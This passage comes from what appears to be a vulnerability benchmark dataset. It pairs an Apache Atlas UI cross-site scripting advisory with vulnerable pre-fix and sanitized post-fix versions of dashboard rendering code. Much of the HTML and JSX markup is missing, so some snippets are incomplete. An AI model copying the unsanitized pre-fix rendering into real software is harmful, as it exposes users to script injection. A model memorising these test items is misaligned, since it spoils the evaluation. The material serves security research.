className=\"show-more-less-link\"\n >\n \n {shouldTruncate ? ` ${more}` : ` ${less}`}\n \n \n )}\n \n );\n};" pre_fix = "const ShowMoreText = ({\n value = \"\",\n maxLength = 160,\n more = \"show more..\",\n less = \"show less..\",\n isHtml = false\n}: {\n value: string;\n maxLength: number;\n more: string;\n less: string;\n isHtml?: boolean;\n}) => {\n const [isTruncated, setIsTruncated] = useState(true);\n\n if (isEmpty(value)) return <>NA;\n\n const shouldTruncate = value.length > maxLength && isTruncated;\n const displayValue = shouldTruncate\n ? value.substring(0, maxLength) + \"...\"\n : value;\n\n return (\n <>\n {isHtml ? (\n \n ) : (\n displayValue\n )}\n {value.length > maxLength && (\n setIsTruncated((prev) => !prev)}\n className=\"show-more-less-link\"\n >\n \n {shouldTruncate ? ` ${more}` : ` ${less}`}\n \n \n )}\n \n );\n};" repo = "apache/atlas" url = "https://github.com/apache/atlas.git" [[case]] advisory = "GHSA-v73p-f52r-fmmr" advisory_text = "Apache Atlas UI: Authenticated User XSS\n\nAn authenticated user can perform XSS.\n\nThis issue affects Apache Atlas versions 2.4.0 and earlier.\n\nUsers are recommended to upgrade to version 2.5.0, which fixes the issue." commit = "800f979307d6ea0f0b6563ec890f6b728022e497" cwe = "CWE-80" family = "output_encoding" function = "HtmlRenderer" function_lines = [[18, 27]] id = "apache-atlas-ea6cfd8c8ed3e117" language = "typescript" method = "fix_site" parent = "e67cc199e61afc92f242cccd05e97a61e0791bd2" path = "dashboard/src/components/HtmlRenderer.tsx" post_fix = "const HtmlRenderer = ({ htmlString }: { htmlString: any }) => {\n const safeHtml =\n typeof htmlString === \"string\" ? sanitizeHtmlContent(htmlString) : \"\";\n return (\n \n );\n};\n\nexport default HtmlRenderer;" pre_fix = "const HtmlRenderer = ({ htmlString }: { htmlString: any }) => {\n return (\n \n );\n};\n\nexport default HtmlRenderer;" repo = "apache/atlas" url = "https://github.com/apache/atlas.git" [[case]] advisory = "GHSA-v73p-f52r-fmmr" advisory_text = "Apache Atlas UI: Authenticated User XSS\n\nAn authenticated user can perform XSS.\n\nThis issue affects Apache Atlas versions 2.4.0 and earlier.\n\nUsers are recommended to upgrade to version 2.5.0, which fixes the issue." commit = "800f979307d6ea0f0b6563ec890f6b728022e497" cwe = "CWE-80" family = "output_encoding" function = "function" function_lines = [[19, 1106]] id = "apache-atlas-eec08160065d0b9b" language = "javascript" method = "fix_site" parent = "e67cc199e61afc92f242cccd05e97a61e0791bd2" path = "dashboardv2/public/js/utils/CommonViewFunction.js" post_fix = "define(['require', 'utils/Utils', 'modules/Modal', 'utils/Messages', 'utils/Enums', 'moment', 'utils/Globals', 'moment-timezone'], function(require, Utils, Modal, Messages, Enums, moment, Globals, momentTimezone) {\n 'use strict';\n\n var CommonViewFunction = {};\n CommonViewFunction.deleteTag = function(options) {\n require(['models/VTag'], function(VTag) {\n if (options && options.guid && options.tagName) {\n var tagModel = new VTag(),\n noticeRef = null,\n notifyObj = {\n modal: true,\n okCloses: false,\n okShowLoader: true,\n text: options.msg,\n title: options.titleMessage,\n okText: options.okText,\n ok: function(notice) {\n noticeRef = notice;\n if (options.showLoader) {\n options.showLoader();\n }\n tagModel.deleteAssociation(options.guid, options.tagName, options.associatedGuid, {\n defaultErrorMessage: options.tagName + Messages.deleteErrorMessage,\n success: function(data) {\n if (noticeRef) {\n noticeRef.remove();\n }\n Utils.notifySuccess({\n content: \"Classification \" + options.tagName + Messages.getAbbreviationMsg(false, 'removeSuccessMessage')\n });\n if (options.callback) {\n options.callback();\n }\n if (options.collection) {\n options.collection.fetch({ reset: true });\n }\n\n },\n cust_error: function(model, response) {\n if (noticeRef) {\n noticeRef.hideButtonLoader();\n }\n if (options.hideLoader) {\n options.hideLoader();\n }\n }\n });\n },\n cancel: function(argument) {\n if (options.hideLoader) {\n options.hideLoader();\n }\n }\n };\n Utils.notifyConfirm(notifyObj);\n }\n });\n };\n CommonViewFunction.propertyTable = function(options) {\n var scope = options.scope,\n sortBy = options.sortBy,\n valueObject = options.valueObject,\n extractJSON = options.extractJSON,\n getArrayOfStringElement = options.getArrayOfStringElement,\n getArrayOfStringFormat = options.getArrayOfStringFormat,\n isTable = _.isUndefined(options.isTable) ? true : options.isTable,\n attributeDefs = options.attributeDefs,\n formatIntVal = options.formatIntVal,\n showListCount = options.showListCount || true,\n highlightString = options.highlightString,\n formatStringVal = options.formatStringVal,\n isRelationshipAttr = options.isRelationshipAttribute, //For relationshipDetailpage\n numberFormat = options.numberFormat || _.numberFormatWithComma;\n\n var table = \"\",\n getHighlightedString = function(resultStr) {\n if (highlightString && highlightString.length) {\n try {\n return resultStr.replace(new RegExp(highlightString, \"gi\"), function(foundStr) {\n return \"\" + foundStr + \"\"\n });\n } catch (error) {\n return resultStr;\n }\n } else {\n return resultStr;\n }\n },\n getEmptyString = function(key) {\n if (options.getEmptyString) {\n return options.getEmptyString(key);\n }\n return \"N/A\";\n },\n getValue = function(val, key) {\n if (options && options.getValue) {\n val = options.getValue(val, key);\n }\n if (!_.isUndefined(val) && !_.isNull(val)) {\n if ((_.isNumber(val) || !_.isNaN(parseInt(val))) && formatIntVal) {\n return numberFormat(val);\n } else {\n var newVal = val;\n if (formatStringVal) {\n newVal = parseInt(val);\n if (_.isNaN(newVal)) {\n newVal = val;\n } else {\n newVal = numberFormat(newVal);\n }\n }\n newVal = (options && options.isEditorValue) ? newVal : _.escape(newVal);\n return getHighlightedString(newVal);\n }\n } else {\n return getEmptyString(key);\n }\n },\n fetchInputOutputValue = function(id, defEntity) {\n var that = this;\n scope.entityModel.getEntityHeader(id, {\n success: function(serverData) {\n var value = \"\",\n deleteButton = \"\",\n data = serverData;\n value = Utils.getName(data);\n var id = \"\";\n if (data.guid) {\n if (Enums.entityStateReadOnly[data.status || data.entityStatus]) {\n deleteButton += '';\n }\n id = data.guid;\n }\n if (value.length > 0) {\n scope.$('td div[data-id=\"' + _.escape(id) + '\"]').html('' + _.escape(getValue(value)) + '');\n } else {\n scope.$('td div[data-id=\"' + id + '\"]').html('' + _.escape(id) + '');\n }\n if (deleteButton.length) {\n scope.$('td div[data-id=\"' + id + '\"]').addClass('block whitespace-normal readOnlyLink');\n scope.$('td div[data-id=\"' + id + '\"]').append(deleteButton);\n }\n },\n cust_error: function(error, xhr) {\n if (xhr.status == 403) {\n scope.$('td div[data-id=\"' + id + '\"]').html('
    Not Authorized
    ');\n } else if (defEntity && defEntity.options && defEntity.options.isSoftReference === \"true\") {\n scope.$('td div[data-id=\"' + id + '\"]').html('
    ' + id + '
    ');\n } else {\n scope.$('td div[data-id=\"' + id + '\"]').html('
    ' + Messages.defaultErrorMessage + '
    ');\n }\n },\n complete: function() {}\n });\n },\n extractObject = function(opt) {\n var valueOfArray = [],\n keyValue = opt.keyValue,\n key = opt.key,\n defEntity = opt.defEntity;\n if (!_.isArray(keyValue) && _.isObject(keyValue)) {\n keyValue = [keyValue];\n }\n var subLink = \"\";\n for (var i = 0; i < keyValue.length; i++) {\n var inputOutputField = keyValue[i],\n id = inputOutputField.guid || (_.isObject(inputOutputField.id) ? inputOutputField.id.id : inputOutputField.id),\n tempLink = \"\",\n status = (inputOutputField.status || inputOutputField.entityStatus) || (_.isObject(inputOutputField.id) ? inputOutputField.id.state : inputOutputField.state),\n readOnly = Enums.entityStateReadOnly[status];\n if (!inputOutputField.attributes && inputOutputField.values) {\n inputOutputField['attributes'] = inputOutputField.values;\n }\n if (_.isString(inputOutputField) || _.isBoolean(inputOutputField) || _.isNumber(inputOutputField)) {\n var tempVarfor$check = inputOutputField.toString();\n if (tempVarfor$check.indexOf(\"$\") == -1) {\n var tmpVal = getValue(inputOutputField, key)\n if (getArrayOfStringElement) {\n valueOfArray.push(getArrayOfStringElement(tmpVal, key));\n } else {\n valueOfArray.push('' + tmpVal + '');\n }\n }\n } else if ((_.isObject(inputOutputField) && (!id || isRelationshipAttr))) {\n var attributesList = inputOutputField;\n if (scope.typeHeaders && inputOutputField.typeName) {\n var typeNameCategory = scope.typeHeaders.fullCollection.findWhere({ name: inputOutputField.typeName });\n if (attributesList.attributes && typeNameCategory && typeNameCategory.get('category') === 'STRUCT') {\n attributesList = attributesList.attributes;\n }\n }\n\n if (extractJSON && extractJSON.extractKey) {\n var newAttributesList = {};\n _.each(attributesList, function(objValue, objKey) {\n var value = _.isObject(objValue) ? objValue : _.escape(objValue),\n tempVarfor$check = objKey.toString();\n if (tempVarfor$check.indexOf(\"$\") == -1) {\n if (_.isObject(extractJSON.extractKey)) {\n _.each(extractJSON.extractKey, function(extractKey) {\n if (objKey === extractKey) {\n newAttributesList[_.escape(objKey)] = value;\n }\n });\n } else if (_.isString(extractJSON.extractKey) && extractJSON.extractKey === objKey) {\n newAttributesList[_.escape(objKey)] = value;\n }\n }\n });\n valueOfArray.push(Utils.JSONPrettyPrint(newAttributesList, getValue));\n } else {\n valueOfArray.push(Utils.JSONPrettyPrint(attributesList, getValue));\n }\n }\n if (id && inputOutputField && !isRelationshipAttr) {\n var name = Utils.getName(inputOutputField);\n if ((name === \"-\" || name === id) && !inputOutputField.attributes) {\n var fetch = true;\n var fetchId = (_.isObject(id) ? id.id : id);\n fetchInputOutputValue(fetchId, defEntity);\n tempLink += '
    ';\n } else {\n if (inputOutputField.typeName == \"AtlasGlossaryTerm\") {\n tempLink += '' + name + ''\n } else {\n tempLink += '' + name + ''\n }\n }\n }\n if (readOnly) {\n if (!fetch) {\n tempLink += '';\n subLink += '
    ' + tempLink + '
    ';\n } else {\n fetch = false;\n subLink += tempLink;\n }\n\n } else {\n if (tempLink.search('href') != -1) {\n subLink += '
    ' + tempLink + '
    '\n } else if (tempLink.length) {\n subLink += tempLink\n }\n }\n }\n if (valueOfArray.length) {\n if (getArrayOfStringFormat) {\n subLink = getArrayOfStringFormat(valueOfArray, key);\n } else {\n subLink = valueOfArray.join(', ');\n }\n }\n return subLink === \"\" ? getEmptyString(key) : subLink;\n }\n var valueObjectKeysList = _.keys(_.omit(valueObject, ['paramsCount']));\n if (_.isUndefined(sortBy) || sortBy == true) {\n valueObjectKeysList = _.sortBy(valueObjectKeysList);\n }\n valueObjectKeysList.map(function(key) {\n if (key == \"profileData\") {\n return;\n }\n var keyValue = valueObject[key],\n listCount = \"\";\n if (key == \"isIncomplete\" && keyValue == false) {\n return;\n }\n if (showListCount && _.isArray(keyValue) && keyValue.length > 0) {\n listCount = (valueObject && valueObject.paramsCount != undefined) ? (numberFormat(valueObject.paramsCount) != 0) ? ' (' + numberFormat(valueObject.paramsCount) + ')' : '' : ' (' + numberFormat(keyValue.length) + ')';\n }\n var defEntity = _.find(attributeDefs, { name: key });\n if (defEntity && defEntity.typeName) {\n var defEntityType = defEntity.typeName.toLocaleLowerCase();\n if (defEntityType === 'date') {\n keyValue = moment(keyValue).isValid() ? Utils.formatDate({ date: keyValue }) : null;\n } else if (_.isObject(keyValue)) {\n keyValue = extractObject({ \"keyValue\": keyValue, \"key\": key, 'defEntity': defEntity });\n }\n } else {\n if (_.isObject(keyValue)) {\n keyValue = extractObject({ \"keyValue\": keyValue, \"key\": key });\n }\n }\n var val = \"\";\n if (_.isObject(valueObject[key])) {\n val = keyValue\n } else if (key === 'guid' || key === \"__guid\") {\n if (options.guidHyperLink === false) {\n val = getValue(keyValue, key);\n } else {\n if (isRelationshipAttr) {\n val = '' + getValue(keyValue, key) + '';\n } else {\n val = '' + getValue(keyValue, key) + '';\n }\n }\n } else {\n if (isRelationshipAttr && (key === \"createTime\" || key === \"updateTime\")) {\n val = Utils.formatDate({ date: keyValue });\n } else {\n val = getValue(keyValue, key);\n }\n }\n if (isTable) {\n var value = val,\n appendClass = (value == \"N/A\" ? \"hide-row\" : \"\"),\n htmlTag = '
    ' + value + '
    ';\n if (_.isObject(valueObject[key]) && !_.isEmpty(valueObject[key])) {\n var matchedLinkString = val.match(/href|value-loader\\w*/g),\n matchedJson = val.match(/json-value|json-string\\w*/g),\n matchedKey = val.match(/json-key\\w*/g),\n isMatchLinkStringIsSingle = matchedLinkString && matchedLinkString.length <= 5,\n isMatchJSONStringIsSingle = matchedJson && matchedJson.length == 1,\n expandCollapseButton = \"\";\n if ((matchedJson) || (matchedLinkString)) {\n var className = \"code-block fixed-height\";\n if (!isMatchJSONStringIsSingle) {\n className += \" shrink\";\n expandCollapseButton = '';\n }\n htmlTag = '
    ' + expandCollapseButton + '' + val + '
    ';\n }\n }\n table += '' + (_.escape(key) + listCount) + '' + htmlTag + '';\n } else {\n table += '' + val + '';\n }\n\n });\n return table && table.length > 0 ? table : 'No Record found!';\n }\n CommonViewFunction.tagForTable = function(obj, classificationDefCollection) {\n var traits = obj.classifications,\n tagHtml = \"\",\n addTag = \"\",\n popTag = \"\",\n count = 0,\n entityName = Utils.getName(obj);\n if (traits) {\n traits.map(function(tag) {\n var className = \"btn btn-action btn-sm btn-blue btn-icon\",\n deleteIcon = \"\";\n if (obj.guid === tag.entityGuid) {\n deleteIcon = '';\n } else if (obj.guid !== tag.entityGuid && tag.entityStatus === \"DELETED\") {\n deleteIcon = '';\n } else {\n className += \" propagte-classification\";\n }\n var tagObj = classificationDefCollection.fullCollection.find({ \"name\": tag.typeName }),\n tagParents = tagObj ? tagObj.get('superTypes') : null,\n parentName = tag.typeName;\n if (tagParents && tagParents.length) {\n parentName += (tagParents.length > 1) ? (\"@(\" + tagParents.join() + \")\") : (\"@\" + tagParents.join());\n }\n var tagString = '' + parentName + '' + deleteIcon + '';\n if (count >= 1) {\n popTag += tagString;\n } else {\n tagHtml += tagString;\n }\n ++count;\n });\n }\n if (!Enums.entityStateReadOnly[obj.status || obj.entityStatus]) {\n if (obj.guid) {\n addTag += '';\n } else {\n addTag += '';\n }\n }\n if (count > 1) {\n addTag += '
    ' + popTag + '
    '\n }\n return '
    ' + tagHtml + addTag + '
    ';\n }\n CommonViewFunction.termForTable = function(obj) {\n var terms = obj.meanings,\n termHtml = \"\",\n addTerm = \"\",\n popTerm = \"\",\n count = 0,\n entityName = Utils.getName(obj);\n if (terms) {\n terms.map(function(term) {\n var displayText = _.escape(term.displayText),\n gloassaryName = _.escape(term.qualifiedName) || displayText,\n className = \"btn btn-action btn-sm btn-blue btn-icon\",\n deleteIcon = '',\n termString = '' + gloassaryName + '' + deleteIcon + '';\n if (count >= 1) {\n popTerm += termString;\n } else {\n termHtml += termString;\n }\n ++count;\n });\n }\n if (!Enums.entityStateReadOnly[obj.status || obj.entityStatus]) {\n if (obj.guid) {\n addTerm += '';\n } else {\n addTerm += '';\n }\n }\n if (count > 1) {\n addTerm += '
    ' + popTerm + '
    '\n }\n return '
    ' + termHtml + addTerm + '
    ';\n }\n CommonViewFunction.generateQueryOfFilter = function(value) {\n value = Utils.getUrlState.getQueryParams();\n var entityFilters = CommonViewFunction.attributeFilter.extractUrl({ \"value\": value.entityFilters, \"formatDate\": true }),\n tagFilters = CommonViewFunction.attributeFilter.extractUrl({ \"value\": value.tagFilters, \"formatDate\": true }),\n relationshipFilters = CommonViewFunction.attributeFilter.extractUrl({ \"value\": value.relationshipFilters, \"formatDate\": true }),\n queryArray = [];\n\n function objToString(filterObj) {\n var generatedQuery = _.map(filterObj.rules, function(obj, key) {\n var obj = $.extend(true, {}, obj); // not to update the timezone abbr on original obj , copy of obj is used \n if (_.has(obj, 'condition')) {\n return ' ' + _.escape(obj.condition) + ' ' + '(' + objToString(obj) + ')';\n } else {\n if (obj.type === \"date\") {\n if (Enums.queryBuilderDateRangeUIValueToAPI[obj.value]) {\n obj.value = Enums.queryBuilderDateRangeUIValueToAPI[obj.value];\n } else {\n obj.value = obj.value + \" (\" + moment.tz(moment.tz.guess()).zoneAbbr() + \")\";\n }\n }\n return '' + (Enums.systemAttributes[obj.id] ? Enums.systemAttributes[obj.id] : _.escape(obj.id)) + ' ' + _.escape(obj.operator) + ' ' + (Enums[obj.id] ? Enums[obj.id][obj.value] : _.escape(obj.value)) + \"\";\n }\n });\n return generatedQuery;\n }\n if (value.type) {\n var typeKeyValue = 'Type: ' + _.escape(value.type) + '';\n if (entityFilters) {\n var conditionForEntity = entityFilters.rules.length == 1 ? '' : 'AND';\n typeKeyValue += ' ' + conditionForEntity + ' (' + _.escape(entityFilters.condition) + ' (' + objToString(entityFilters) + '))';\n }\n queryArray.push(typeKeyValue)\n }\n if (value.tag) {\n var tagKeyValue = 'Classification: ' + _.escape(value.tag) + '';\n if (tagFilters) {\n var conditionFortag = tagFilters.rules.length == 1 ? '' : 'AND';\n tagKeyValue += ' ' + conditionFortag + ' (' + _.escape(tagFilters.condition) + ' (' + objToString(tagFilters) + '))';\n }\n queryArray.push(tagKeyValue);\n }\n if (value.relationshipName) {\n var relationshipKeyValue = 'Relationship: ' + _.escape(value.relationshipName) + '';\n if (relationshipFilters) {\n var conditionForRealtionship = (relationshipFilters.rules && relationshipFilters.rules.length == 1) ? '' : 'AND';\n relationshipKeyValue += ' ' + conditionForRealtionship + ' (' + _.escape(relationshipFilters.condition) + ' (' + objToString(relationshipFilters) + '))';\n }\n queryArray.push(relationshipKeyValue);\n }\n if (value.term) {\n var tagKeyValue = 'Term: ' + _.escape(value.term) + '';\n queryArray.push(tagKeyValue);\n }\n if (value.query) {\n queryArray.push('Query: ' + _.trim(_.escape(value.query)) + ' ');\n }\n if (queryArray.length == 1) {\n return queryArray.join();\n } else {\n return \"( \" + queryArray.join(' ) AND ( ') + \" )\";\n\n }\n }\n CommonViewFunction.generateObjectForSaveSearchApi = function(options) {\n var obj = {\n name: options.name,\n guid: options.guid\n };\n var value = options.value;\n if (value) {\n _.each(Enums.extractFromUrlForSearch, function(svalue, skey) {\n if (_.isObject(svalue)) {\n _.each(svalue, function(v, k) {\n var val = value[k];\n if (!_.isUndefinedNull(val)) {\n if (k == \"attributes\") {\n val = val.split(',');\n } else if (_.includes([\"tagFilters\", \"entityFilters\", \"relationshipFilters\"], k)) {\n val = CommonViewFunction.attributeFilter.generateAPIObj(val);\n } else if (_.includes([\"includeDE\", \"excludeST\", \"excludeSC\"], k)) {\n val = val ? false : true;\n }\n }\n if (_.includes([\"includeDE\", \"excludeST\", \"excludeSC\"], k)) {\n val = _.isUndefinedNull(val) ? true : val;\n }\n if (!obj[skey]) {\n obj[skey] = {};\n }\n obj[skey][v] = val;\n });\n } else {\n obj[skey] = value[skey];\n }\n });\n return obj;\n }\n }\n CommonViewFunction.generateUrlFromSaveSearchObject = function(options) {\n var value = options.value,\n classificationDefCollection = options.classificationDefCollection,\n entityDefCollection = options.entityDefCollection,\n relationshipDefCollection = options.relationshipDefCollection,\n obj = {};\n if (value) {\n _.each(Enums.extractFromUrlForSearch, function(svalue, skey) {\n if (_.isObject(svalue)) {\n _.each(svalue, function(v, k) {\n var val = value[skey][v];\n if (!_.isUndefinedNull(val)) {\n if (k == \"attributes\") {\n val = val.join(',');\n } else if (k == \"tagFilters\") {\n if (classificationDefCollection) {\n var classificationDef = classificationDefCollection.fullCollection.findWhere({ 'name': value[skey].classification }),\n attributeDefs = [];\n if (classificationDef) {\n attributeDefs = Utils.getNestedSuperTypeObj({\n collection: classificationDefCollection,\n attrMerge: true,\n data: classificationDef.toJSON()\n });\n }\n if (Globals[value[skey].typeName]) {\n attributeDefs = Globals[value[skey].typeName].attributeDefs;\n }\n if (Globals._ALL_CLASSIFICATION_TYPES && Globals._ALL_CLASSIFICATION_TYPES.attributeDefs) {\n attributeDefs = attributeDefs.concat(Globals._ALL_CLASSIFICATION_TYPES.attributeDefs);\n }\n }\n val = CommonViewFunction.attributeFilter.generateUrl({ \"value\": val, \"attributeDefs\": attributeDefs });\n } else if (k == \"entityFilters\") {\n if (entityDefCollection) {\n var entityDef = entityDefCollection.fullCollection.findWhere({ 'name': value[skey].typeName }),\n attributeDefs = [];\n if (entityDef) {\n attributeDefs = Utils.getNestedSuperTypeObj({\n collection: entityDefCollection,\n attrMerge: true,\n data: entityDef.toJSON()\n });\n }\n if (Globals[value[skey].typeName]) {\n attributeDefs = Globals[value[skey].typeName].attributeDefs;\n }\n if (Globals._ALL_ENTITY_TYPES && Globals._ALL_ENTITY_TYPES.attributeDefs) {\n attributeDefs = attributeDefs.concat(Globals._ALL_ENTITY_TYPES.attributeDefs);\n }\n }\n val = CommonViewFunction.attributeFilter.generateUrl({ \"value\": val, \"attributeDefs\": attributeDefs });\n } else if (k == \"relationshipFilters\") {\n if (relationshipDefCollection) {\n var relationshipDef = relationshipDefCollection.fullCollection.findWhere({ 'name': value[skey].relationshipName }),\n attributeDefs = [];\n if (relationshipDef) {\n attributeDefs = Utils.getNestedSuperTypeObj({\n collection: relationshipDefCollection,\n attrMerge: true,\n data: relationshipDef.toJSON()\n });\n }\n if (Globals[value[skey].relationshipName]) {\n attributeDefs = Globals[value[skey].relationshipName].attributeDefs;\n }\n }\n val = CommonViewFunction.attributeFilter.generateUrl({ \"value\": val, \"attributeDefs\": attributeDefs });\n } else if (_.includes([\"includeDE\", \"excludeST\", \"excludeSC\"], k)) {\n val = val ? false : true;\n }\n }\n obj[k] = val;\n });\n } else {\n obj[skey] = value[skey];\n }\n });\n return obj;\n }\n }\n CommonViewFunction.attributeFilter = {\n generateUrl: function(options) {\n var attrQuery = [],\n attrObj = options.value,\n formatedDateToLong = options.formatedDateToLong,\n attributeDefs = options.attributeDefs,\n /* set attributeType for criterion while creating object*/\n spliter = 1;\n attrQuery = conditionalURl(attrObj, spliter);\n\n function conditionalURl(options, spliter) {\n if (options) {\n return _.map(options.rules || options.criterion, function(obj, key) {\n if (_.has(obj, 'condition')) {\n return obj.condition + '(' + conditionalURl(obj, (spliter + 1)) + ')';\n }\n if (attributeDefs) {\n var attributeDef = _.findWhere(attributeDefs, { 'name': obj.attributeName });\n if (attributeDef) {\n obj.attributeValue = obj.attributeValue;\n obj['attributeType'] = attributeDef.typeName;\n }\n }\n var type = (obj.type || obj.attributeType),\n //obj.value will come as an object when selected type is Date and operator is isNull or not_null;\n value = ((_.isString(obj.value) && _.includes([\"is_null\", \"not_null\"], obj.operator) && type === 'date') || _.isObject(obj.value) ? \"\" : _.trim(obj.value || obj.attributeValue)),\n url = [(obj.id || obj.attributeName), mapApiOperatorToUI(obj.operator), value];\n if (obj.operator === \"TIME_RANGE\") {\n if (value.indexOf(\"-\") > -1) {\n url[2] = value.split(' - ').map(function(udKey) {\n return Globals.needToValidateDate ? Date.parse(Utils.convertToValidDate(udKey.trim())).toString() : Date.parse(udKey.trim()).toString();\n }).join(\",\")\n } else {\n url[2] = Enums.queryBuilderDateRangeUIValueToAPI[_.trim(value)] || value;\n }\n } else if (value && value.length && type === 'date' && formatedDateToLong) {\n url[2] = Globals.needToValidateDate ? Date.parse(Utils.convertToValidDate(value)) : Date.parse(value);\n }\n if (type) {\n url.push(type);\n }\n return url.join(\"::\");\n }).join('|' + spliter + '|')\n } else {\n return null;\n }\n }\n if (attrQuery.length) {\n return attrObj.condition + '(' + attrQuery + ')';\n } else {\n return null;\n }\n\n function mapApiOperatorToUI(oper) {\n // Enum will be in effect once we click on save search.\n return Enums.queryBuilderApiOperatorToUI[oper] || oper;\n }\n },\n extractUrl: function(options) {\n var attrObj = {},\n urlObj = options.value,\n formatDate = options.formatDate,\n spliter = 1,\n apiObj = options.apiObj,\n mapUiOperatorToAPI = function(oper) {\n return Enums.queryBuilderUIOperatorToAPI[oper] || oper;\n },\n createObject = function(urlObj) {\n var finalObj = {};\n finalObj['condition'] = /^AND\\(/.test(urlObj) ? \"AND\" : \"OR\";\n urlObj = finalObj.condition === \"AND\" ? urlObj.substr(4).slice(0, -1) : urlObj.substr(3).slice(0, -1);\n finalObj[apiObj ? \"criterion\" : \"rules\"] = _.map(urlObj.split('|' + spliter + '|'), function(obj, key) {\n var isStringNested = obj.split('|' + (spliter + 1) + '|').length > 1,\n isCondition = /^AND\\(/.test(obj) || /^OR\\(/.test(obj);\n if (isStringNested && isCondition) {\n ++spliter;\n return createObject(obj);\n } else if (isCondition) {\n return createObject(obj);\n } else {\n var temp = obj.split(\"::\") || obj.split('|' + spliter + '|'),\n rule = {};\n if (apiObj) {\n rule = { attributeName: temp[0], operator: mapUiOperatorToAPI(temp[1]), attributeValue: _.trim(temp[2]) }\n rule.attributeValue = rule.type === 'date' && formatDate && rule.attributeValue.length ? Utils.formatDate({ date: parseInt(rule.attributeValue), zone: false }) : rule.attributeValue;\n } else {\n rule = { id: temp[0], operator: temp[1], value: _.trim(temp[2]) }\n if (temp[3]) {\n rule['type'] = temp[3];\n }\n if (rule.operator === \"TIME_RANGE\") {\n if (temp[2].indexOf(\",\") > -1) {\n rule.value = temp[2].split(\",\").map(function(udKey) {\n return Utils.formatDate({ date: parseInt(udKey.trim()), zone: false })\n }).join(\" - \")\n } else {\n rule.value = Enums.queryBuilderDateRangeAPIValueToUI[_.trim(rule.value)] || rule.value;\n }\n } else if (rule.type === 'date' && formatDate && rule.value.length) {\n rule.value = Utils.formatDate({ date: parseInt(rule.value), zone: false })\n }\n }\n return rule;\n }\n });\n return finalObj;\n }\n //if apiObj then create object for API call else for QueryBuilder.\n if (urlObj && urlObj.length) {\n attrObj = createObject(urlObj);\n } else {\n return null;\n }\n return attrObj;\n },\n generateAPIObj: function(url) {\n if (url && url.length) {\n return this.extractUrl({ \"value\": url, \"apiObj\": true });\n } else {\n return null;\n }\n }\n }\n CommonViewFunction.createEditGlossaryCategoryTerm = function(options) {\n if (options) {\n var model = options.model,\n isTermView = options.isTermView,\n isGlossaryView = options.isGlossaryView,\n collection = options.collection;\n //Below condition is added for sanitizing the longDescription text against XSS attack.\n if (model) {\n var longDescriptionContent = isGlossaryView ? model.get('longDescription') : model.longDescription,\n sanitizeLongDescriptionContent = \"\";\n if (longDescriptionContent) {\n sanitizeLongDescriptionContent = Utils.sanitizeHtmlContent({ data: longDescriptionContent });\n isGlossaryView ? model.set(\"longDescription\", sanitizeLongDescriptionContent) : model.longDescription = sanitizeLongDescriptionContent;\n }\n }\n //End\n }\n require([\n 'views/glossary/CreateEditCategoryTermLayoutView',\n 'views/glossary/CreateEditGlossaryLayoutView',\n 'modules/Modal',\n 'trumbowyg'\n ], function(CreateEditCategoryTermLayoutView, CreateEditGlossaryLayoutView, Modal) {\n var view = null,\n title = null;\n if (isGlossaryView) {\n view = new CreateEditGlossaryLayoutView({ \"glossaryCollection\": collection, \"model\": model });\n title = \"Glossary\";\n } else {\n view = new CreateEditCategoryTermLayoutView({ \"glossaryCollection\": collection, \"modelJSON\": model });\n title = (isTermView ? 'Term' : 'Category');\n }\n var modal = new Modal({\n \"title\": ((model ? \"Update \" : \"Create \") + title),\n \"content\": view,\n \"cancelText\": \"Cancel\",\n \"okCloses\": false,\n \"okText\": model ? \"Update\" : \"Create\",\n \"allowCancel\": true,\n \"width\": \"640px\"\n }).open();\n modal.$el.find('button.ok').attr(\"disabled\", \"true\");\n var longDescriptionEditor = modal.$el.find('textarea[data-id=longDescription]'),\n okBtn = modal.$el.find('button.ok'),\n modalOkBtn = function() {\n okBtn.removeAttr(\"disabled\");\n };\n Utils.addCustomTextEditor({ selector: longDescriptionEditor, callback: modalOkBtn, initialHide: false });\n modal.on('ok', function() {\n modal.$el.find('button.ok').showButtonLoader();\n //Below condition is added for sanitizing the longDescription text against XSS attack.\n longDescriptionEditor.trumbowyg('html', Utils.sanitizeHtmlContent({ selector: longDescriptionEditor }));\n //End\n CommonViewFunction.createEditGlossaryCategoryTermSubmit(_.extend({ \"ref\": view, \"modal\": modal }, options));\n });\n modal.on('closeModal', function() {\n modal.trigger('cancel');\n if (options.onModalClose) {\n options.onModalClose()\n }\n longDescriptionEditor.trumbowyg('closeModal');\n });\n });\n }\n CommonViewFunction.createEditGlossaryCategoryTermSubmit = function(options) {\n if (options) {\n var ref = options.ref,\n modal = options.modal,\n model = options.model,\n node = options.node,\n isTermView = options.isTermView,\n isCategoryView = options.isCategoryView,\n collection = options.collection,\n isGlossaryView = options.isGlossaryView,\n data = ref.ui[(isGlossaryView ? \"glossaryForm\" : \"categoryTermForm\")].serializeArray().reduce(function(obj, item) {\n obj[item.name] = item.value.trim();\n return obj;\n }, {}),\n newModel = new options.collection.model(),\n messageType = \"Glossary \";\n }\n if (isTermView) {\n messageType = \"Term \";\n } else if (isCategoryView) {\n messageType = \"Category \";\n }\n var ajaxOptions = {\n silent: true,\n success: function(rModel, response) {\n var msgType = model ? \"editSuccessMessage\" : \"addSuccessMessage\";\n Utils.notifySuccess({\n content: messageType + ref.ui.name.val() + Messages.getAbbreviationMsg(false, msgType)\n });\n if (options.callback) {\n options.callback(rModel);\n }\n modal.trigger('closeModal');\n },\n cust_error: function() {\n modal.$el.find('button.ok').hideButtonLoader();\n }\n }\n if (model) {\n if (isGlossaryView) {\n model.clone().set(data, { silent: true }).save(null, ajaxOptions)\n } else {\n newModel[isTermView ? \"createEditTerm\" : \"createEditCategory\"](_.extend(ajaxOptions, {\n guid: model.guid,\n data: JSON.stringify(_.extend({}, model, data)),\n }));\n }\n\n } else {\n if (isGlossaryView) {\n new collection.model().set(data).save(null, ajaxOptions);\n } else {\n if (node) {\n var key = \"anchor\",\n guidKey = \"glossaryGuid\";\n data[\"anchor\"] = {\n \"glossaryGuid\": node.glossaryId || node.guid,\n \"displayText\": node.glossaryName || node.text\n }\n if (node.type == \"GlossaryCategory\") {\n data[\"parentCategory\"] = {\n \"categoryGuid\": node.guid\n }\n }\n }\n newModel[isTermView ? \"createEditTerm\" : \"createEditCategory\"](_.extend(ajaxOptions, {\n data: JSON.stringify(data),\n }));\n }\n }\n }\n CommonViewFunction.removeCategoryTermAssociation = function(options) {\n if (options) {\n var selectedGuid = options.selectedGuid,\n termGuid = options.termGuid,\n isCategoryView = options.isCategoryView,\n isTermView = options.isTermView,\n isEntityView = options.isEntityView,\n collection = options.collection,\n model = 